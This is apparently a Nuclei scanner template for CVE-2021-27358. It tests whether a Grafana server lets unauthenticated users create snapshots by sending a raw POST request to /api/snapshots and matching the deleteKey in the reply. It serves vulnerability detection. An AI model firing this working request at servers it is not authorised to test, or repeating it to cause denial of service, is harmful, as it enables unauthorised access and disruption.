43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: CVE-2021-27358
|
|
|
|
info:
|
|
author: pdteam
|
|
name: Grafana Unauthenticated Snapshot Creation
|
|
severity: high
|
|
description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
|
|
reference:
|
|
- https://phabricator.wikimedia.org/T274736
|
|
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
|
|
tags: cve,cve2021,grafana,unauth
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
|
cvss-score: 7.50
|
|
cve-id: CVE-2021-27358
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /api/snapshots HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json
|
|
Content-Type: application/json
|
|
|
|
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- part: body
|
|
type: word
|
|
words:
|
|
- '"deleteUrl":'
|
|
- '"deleteKey":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
# Enhanced by cs on 2022/02/18
|